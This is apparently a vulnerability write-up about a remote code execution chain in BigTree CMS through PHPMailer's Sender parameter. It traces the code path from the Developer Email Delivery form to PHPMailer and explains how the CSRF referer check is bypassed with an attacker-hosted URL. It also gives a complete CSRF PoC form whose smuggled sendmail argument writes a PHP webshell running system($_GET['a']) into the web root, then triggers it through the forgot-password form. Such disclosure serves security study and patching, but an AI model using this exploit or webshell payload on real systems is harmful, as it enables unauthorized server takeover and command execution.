An independent research uncovered a critical vulnerability in PHPMailer (version < 5.2.20) that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application.
PHPMailer uses the Sender
variable to build the params string. Then PHPMailer::send()
would call PHP native function mail()
to execute /usr/bin/sendmail
with the arguments in $this->Sender
According to my analysis, if we can control the value of Sender
, we can let sendmail
save the context (<?php phpinfo()?>) to any given path (/var/www/html/shell.php), which means code execution.
BigTree CMS include PHPMailer in /core/inc/bigtree/utils.php
static function sendEmail($to,$subject,$html,$text = "",$from = false,$return = false,$cc = false,$bcc = false,$headers = array()) {
$mailer = new PHPMailer;
foreach ($headers as $key => $val) {
$mailer->addCustomHeader($key,$val);
}
$mailer->Subject = $subject;
if ($html) {
$mailer->isHTML(true);
$mailer->Body = $html;
$mailer->AltBody = $text;
} else {
$mailer->Body = $text;
}
if (!$from) {
$from = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
$from_name = "BigTree CMS";
} else {
// Parse out from and reply-to names
$from_name = false;
$from = trim($from);
if (strpos($from,"<") !== false && substr($from,-1,1) == ">") {
$from_pieces = explode("<",$from);
$from_name = trim($from_pieces[0]);
$from = substr($from_pieces[1],0,-1);
}
}
$mailer->From = $from;
$mailer->FromName = $from_name;
$mailer->Sender = $from;
The right way to set the value of Sender
is using secure method $mailer->setForm()
๏ผbut here the function passes $from
to $mailer->Sender
directly without any validation.
Go finding the call to function sendEmail()
.
/core/inc/bigtree/apis/email-service.php
function sendEmail($subject,$body,$to,$from_email = false,$from_name = false,$reply_to = false,$text = "") {
...
if ($this->Service == "local") {
return BigTree::sendEmail($to,$subject,$body,$text,($from_name ? "$from_name <$from_email>" : $from_email),$reply_to);
}
...
}
Finding call to this function.
/core/inc/bigtree/admin.php
line 2526
static function forgotPassword($email) {
...
$es = new BigTreeEmailService;
// Only use a custom email service if a from email has been set
if ($es->Settings["bigtree_from"]) {
$reply_to = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
$es->sendEmail("Reset Your Password",$html,$user["email"],$es->Settings["bigtree_from"],"BigTree CMS",$reply_to);
}
...
}
Finding how to manage the value of $es->Settings["bigtree_from"]
/core/admin/modules/developer/email/update.php
line 16
...
$settings["settings"]["bigtree_from"] = $_POST["bigtree_from"];
$admin->updateSettingValue("bigtree-internal-email-service",$settings);
...
Now the transfer route is clear:
$_POST["bigtree_from"];
-> $settings["settings"]["bigtree_from"]
-> $es->Settings["bigtree_from"]
-> $from_email
-> $from
-> $mailer->Sender
The entry $_POST["bigtree_from"];
is generated by โDeveloper / Email Deliveryโ form.
But unfortunately it requires admin privilege, So I have to see if CSRF works.
Then I found its CSRF filter at
/core/admin/modules/developer/_header.php
line 3
if (count($_POST)) {
$clean_referer = str_replace(array("http://","https://"),"//",$_SERVER["HTTP_REFERER"]);
$clean_admin_root = str_replace(array("http://","https://"),"//",ADMIN_ROOT)."developer/";
// The referer MUST contain a URL from within the developer section to post to it.
if (strpos($clean_referer,$clean_admin_root) === false) {
die();
}
}
It can be simply bypassed with:
https://attacker_host/?url=http://target_host/admin/developer/
Specific process is divided into the following four steps:
CSRF probe
http://attacker_server/csrf.html?url=http://bigtreeCMS/admin/developer/
csrf.html
<html>
<body>
<form action="http://localhost/bigtree/BigTree-CMS/admin/developer/email/update/" method="POST">
<input type="hidden" name="service" value="local" />
<input type="hidden" name="bigtree_from" value="?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
payloads in csrf.html
?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx
(<>
was filtered in backend, so I use /*
to comment the following text)
Trigger PHPMailer at โforgot-passwordโ form (unauthorized).
Then /var/www/html/final.php
will be created with PHP codes inside.
Execute system commands with webshell.
csrf.html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/bigtree/BigTree-CMS/admin/developer/email/update/" method="POST">
<input type="hidden" name="service" value="local" />
<input type="hidden" name="bigtree_from" value="?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>